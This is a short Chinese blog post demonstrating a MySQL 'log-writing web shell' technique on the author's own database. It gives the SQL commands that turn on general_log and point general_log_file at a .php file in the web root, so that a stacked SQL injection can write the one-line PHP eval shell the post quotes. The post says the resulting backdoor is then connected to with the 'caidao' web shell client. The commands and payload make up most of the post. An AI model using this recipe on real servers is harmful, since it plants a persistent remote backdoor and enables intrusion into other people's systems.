domb

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

--这里是暂时没找到合适的靶场,所以就用自己的数据库做一个原理演示

日志写马我们需要用到堆叠注入,也就是用 ; 连接多个SQL语句依次执行,但是一般的后端执行SQL语句使用的函数都是mysqli_query(),这个函数是不能使用堆叠注入的,很少用到mysqli_multi_query()

Mysql数据库日志写马的两个条件:

1、general_log='on';

全局变量日志开关需要打开

2、general_log_file='.........\log.php'

需要手动修改日志存储路径,以便菜刀连接

 

可以使用 show global variables like "%general%"  模糊查询全局变量

 

可以看到,默认情况下日志记录是关闭的,需要手动开启:set global general_log='on';

 

日志存储路径中的日志文件后缀也是.log,Mysql数据库中需要改为.php,并放到网站目录下:set global general_log_file='D:\\phpStudy\\WWW\\log.php';

1、路径中的 \ 需要用 \\ 

2、也需要知道网站的绝对路径

 

然后就可以写入一句话 select <?php @eval(POST[8]);?>;

 

然后可以看到log.php文件中已经写入了一句话,可以用菜刀连接

 

毫无疑问,肯定成功了(撒花)

posted on 2022-05-18 19:42  domb  阅读(282)  评论(0编辑  收藏  举报